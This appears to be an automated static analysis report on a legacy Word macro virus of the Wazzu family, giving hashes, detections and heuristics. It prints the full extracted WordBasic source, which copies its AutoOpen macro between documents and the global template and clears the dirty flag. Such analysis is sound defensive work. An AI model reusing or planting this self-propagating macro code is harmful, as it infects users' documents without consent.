Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9c34b7c8651ee85d…

MALICIOUS

Office (OLE)

27.0 KB Created: 1997-04-10 21:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e07dba30c17da7c6ee133356cb2fdeae SHA-1: 2b27dcf93884eec9bf577cb0bf75adb8b9173ec8 SHA-256: 9c34b7c8651ee85d68eb8d19bf384bd807f9631b4004536e2b96316ccd31ef38
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as a legacy WordBasic macro virus, specifically the 'Wazzu' variant. The AutoOpen macro attempts to copy itself to other documents, indicating a self-propagation mechanism. The presence of legacy macro markers and the 'Wazzu' string strongly suggest a known, albeit old, malware family.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1404 bytes
SHA-256: 05236b635e6173dea3ecef261620e3359f7d07bfd751aa6f50b464507383e16c
Detection
ClamAV: Doc.Trojan.Wazzu-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim TheSmallOne$
Dim TheBigOne$
Dim ThisOne$
Dim SmallFileAtt
    On Error GoTo -1: On Error GoTo jane

    'The Meat Grinder virus - Thanks to Kermit the Frog,
    ' and Kermit the Protocol
    
    TheSmallOne$ = WordBasic.[FileName$]() + ":autoOpen"

    TheBigOne$ = "Global:autoOpen"
    ThisOne$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If ThisOne$ = "NORMAL.DOT" Then
        SmallFileAtt = GetAttr(WordBasic.[FileName$]())
        If SmallFileAtt >= 32 Then SmallFileAtt = SmallFileAtt - 32
        If SmallFileAtt >= 4 Then SmallFileAtt = SmallFileAtt - 4
        If SmallFileAtt >= 2 Then SmallFileAtt = SmallFileAtt - 2
        If SmallFileAtt = 0 Then
        
            WordBasic.MacroCopy TheBigOne$, TheSmallOne$
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
        End If
    Else
        WordBasic.MacroCopy TheSmallOne$, TheBigOne$
    End If
    
GoTo oughta_here

jane:

oughta_here:
    On Error GoTo -1: On Error GoTo 0


End Sub

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